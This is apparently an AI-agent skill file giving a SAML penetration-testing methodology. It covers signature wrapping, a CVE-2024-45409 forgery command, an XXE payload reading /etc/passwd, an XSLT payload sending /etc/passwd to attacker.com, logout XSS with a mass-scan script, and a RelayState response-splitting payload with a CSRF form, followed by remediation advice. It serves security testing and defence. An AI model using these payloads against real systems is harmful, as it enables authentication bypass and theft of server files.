Hacktricks-skills saml-attacks
Security testing skill for SAML vulnerabilities. Use this skill whenever the user needs to test SAML implementations for security issues, analyze SAML responses, perform signature wrapping attacks, test for XXE/XSLT injection, check certificate validation, or investigate SAML-related XSS. Trigger on any request involving SAML security testing, SAML response analysis, SAML attack methodology, or SAML vulnerability assessment.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/saml-attacks/saml-attacks/SKILL.MDSAML Security Testing Skill
A comprehensive guide for testing SAML (Security Assertion Markup Language) implementations for security vulnerabilities.
When to Use This Skill
Use this skill when:
- Testing SAML SSO implementations for security vulnerabilities
- Analyzing SAML responses for potential attack vectors
- Performing penetration testing on SAML-based authentication systems
- Investigating SAML signature validation issues
- Testing for XML-based attacks (XXE, XSLT injection, signature wrapping)
- Checking certificate validation in SAML flows
- Assessing SAML logout functionality for XSS
Quick Reference
SAML Response Encoding
SAML responses are typically encoded in this order:
- URL encode → Base64 encode → Raw deflate (for transmission)
- Raw inflate → Base64 decode → URL decode (for parsing)
Common Tools
- SAML Raider (Burp extension): Parse, modify, and test SAML requests
- SAMLExtractor: Extract SAML consume URLs from web applications
- Synacktiv CVE-2024-45409 PoC: Ruby-SAML signature bypass
Attack Methodologies
1. XML Signature Wrapping Attacks (XSW)
XSW attacks exploit the separation between signature validation and application logic processing.
XSW #1: New Root Element
- Strategy: Add a new root element containing the signature
- Goal: Confuse validator between legitimate and malicious Assertion/Subject
- Use SAML Raider: Apply XSW #1 transformation to intercepted response
XSW #2: Detached Signature
- Difference: Uses detached signature instead of enveloping
- Goal: Deceive business logic post-integrity check
XSW #3: Evil Assertion at Same Level
- Strategy: Craft malicious Assertion at same hierarchical level as original
- Goal: Confuse business logic into using malicious data
XSW #4: Assertion Nesting
- Difference: Original Assertion becomes child of duplicated (evil) Assertion
- Goal: More aggressive XML structure alteration
XSW #5: Non-Standard Configuration
- Unique: Neither Signature nor Assertion follow standard configurations
- Goal: Copied Assertion envelopes the Signature
XSW #6: Nested Deceptive Structure
- Strategy: Copied Assertion envelopes Signature, which envelopes original Assertion
- Goal: Create deeply nested deceptive structure
XSW #7: Extensions Element
- Strategy: Insert Extensions element with copied Assertion as child
- Goal: Exploit less restrictive schema of Extensions element
XSW #8: Alternative Element
- Difference: Uses another less restrictive XML element
- Goal: Original Assertion becomes child of less restrictive element
How to Test:
- Intercept SAML Response in Burp
- Open in SAML Raider
- Apply desired XSW transformation
- Forward request and observe behavior
2. Ruby-SAML Signature Bypass (CVE-2024-45409)
Impact: Forge new assertions and authenticate as arbitrary users
Workflow:
- Capture legitimate SAMLResponse in SSO POST (Burp or browser devtools)
- Decode: URL decode → Base64 decode → raw inflate
- Use PoC to patch IDs/NameID/conditions and rewrite signature references
- Re-encode: raw deflate → Base64 → URL encode
- Replay to SAML callback endpoint
Example:
python3 CVE-2024-45409.py -r response.url_base64 -n admin@example.com -o response_patched.url_base64
3. XXE in SAML Responses
SAML responses can be susceptible to XML External Entity attacks.
Payload Template:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ELEMENT foo ANY> <!ENTITY file SYSTEM "file:///etc/passwd"> <!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd"> ]> <samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...> <saml:Issuer>...</saml:Issuer> <ds:Signature ...> <ds:SignedInfo> <ds:CanonicalizationMethod .../> <ds:SignatureMethod .../> <ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference> </ds:SignedInfo> <ds:SignatureValue>...</ds:SignatureValue> </ds:Signature> </samlp:Response>
How to Test:
- Use SAML Raider to generate XXE POC from SAML request
- Intercept and modify SAML Response
- Inject XXE payload before signature validation
- Forward and check for data exfiltration
4. XSLT Injection via SAML
XSLT transformations occur before signature verification, making this attack viable even with invalid signatures.
Payload Template:
<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"> ... <ds:Transforms> <ds:Transform> <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="doc"> <xsl:variable name="file" select="unparsed-text('/etc/passwd')"/> <xsl:variable name="escaped" select="encode-for-uri($file)"/> <xsl:variable name="attackerUrl" select="'http://attacker.com/'"/> <xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/> <xsl:value-of select="unparsed-text($exploitUrl)"/> </xsl:template> </xsl:stylesheet> </ds:Transform> </ds:Transforms> ... </ds:Signature>
How to Test:
- Use SAML Raider to generate XSLT POC
- Inject XSLT stylesheet in Transform element
- Forward request and monitor for OOB callback
5. XML Signature Exclusion
Test if signature validation occurs when Signature element is missing.
How to Test:
- Intercept SAML Response in Burp
- Open in SAML Raider
- Click "Remove Signatures"
- Forward request
- If authentication succeeds, signature validation is not enforced
6. Certificate Faking
Test if Service Provider properly verifies SAML messages are signed by trusted IdP.
How to Test:
- Intercept SAML Response in Burp
- Send certificate to SAML Raider Certs
- Select certificate and click "Save and Self-Sign"
- Remove existing signatures
- Sign message with new self-signed certificate
- Forward request
- If authentication succeeds, certificate validation is broken
7. Token Recipient Confusion
Test if Service Provider validates the intended recipient of SAML responses.
Prerequisites:
- Valid account on SP-Legit
- SP-Target accepts tokens from same IdP as SP-Legit
How to Test:
- Initiate SSO session with SP-Legit
- Intercept SAML Response from IdP to SP-Legit
- Redirect response to SP-Target
- If SP-Target accepts, recipient validation is broken
8. XSS in Logout Functionality
Test for XSS in SAML logout endpoints.
How to Test:
- Find logout endpoint (e.g.,
)/oidauth/logout - Check for URL parameters that accept input
- Test with
payloadjavascript:alert(123) - Check if input is reflected unsanitized
Mass Testing Script:
import requests import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) with open("url_list.txt") as url_list: for url in url_list: url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2Ftest&return_to=%2F&splash_disabled=1" request = requests.get(url2, allow_redirects=True, verify=False) if "test" in request.content: print(f"[VULNERABLE] {url2}")
9. RelayState-based rXSS
Abuse response-splitting via newline injection in RelayState parameter.
Payload Construction:
- Build header/body injection sequence:
\n Content-Type: text/html <svg/onload=alert(1)> - URL-encode:
%0AContent-Type%3A+text%2Fhtml%0A%0A%0A%3Csvg%2Fonload%3Dalert(1)%3E - Base64-encode:
DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg== - Place in RelayState parameter
PoC Request:
POST /cgi/logout HTTP/1.1 Host: target Content-Type: application/x-www-form-urlencoded SAMLResponse=[BASE64-Generic-SAML-Response]&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
CSRF Delivery:
<form action="https://target/cgi/logout" method="POST" id="p"> <input type="hidden" name="SAMLResponse" value="[BASE64-Generic-SAML-Response]"> <input type="hidden" name="RelayState" value="DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg=="> </form> <script>document.getElementById('p').submit()</script>
Testing Workflow
Step 1: Reconnaissance
- Identify SAML endpoints (login, logout, ACS)
- Use SAMLExtractor to find SAML consume URLs
- Map the SAML flow (IdP → SP)
Step 2: Capture Baseline
- Intercept legitimate SAML Response
- Decode and analyze structure
- Document signature location and validation method
Step 3: Test Attack Vectors
- Signature Wrapping: Test XSW #1-8
- Signature Exclusion: Remove signatures
- Certificate Faking: Self-sign and test
- XXE: Inject external entities
- XSLT: Inject transformation stylesheets
- Recipient Confusion: Redirect to different SP
- XSS: Test logout and RelayState parameters
Step 4: Document Findings
- Record which attacks succeeded
- Note specific configurations that failed
- Provide remediation recommendations
Remediation Recommendations
Signature Validation
- Always validate XML signatures before processing
- Use canonicalization to prevent encoding attacks
- Validate signature references match actual elements
Certificate Validation
- Verify certificates against trusted IdP certificate
- Check certificate chain and revocation status
- Never accept self-signed certificates in production
XXE Prevention
- Disable external entity processing
- Use secure XML parsers
- Validate XML against strict schema
XSLT Security
- Disable XSLT processing if not needed
- Restrict XSLT functions (unparsed-text, etc.)
- Validate transformation inputs
Recipient Validation
- Always validate Recipient field in SubjectConfirmationData
- Ensure Assertion is intended for your SP
- Use Audience restriction
Input Sanitization
- Sanitize all user-controlled parameters
- Validate RelayState before use
- Implement proper Content-Type headers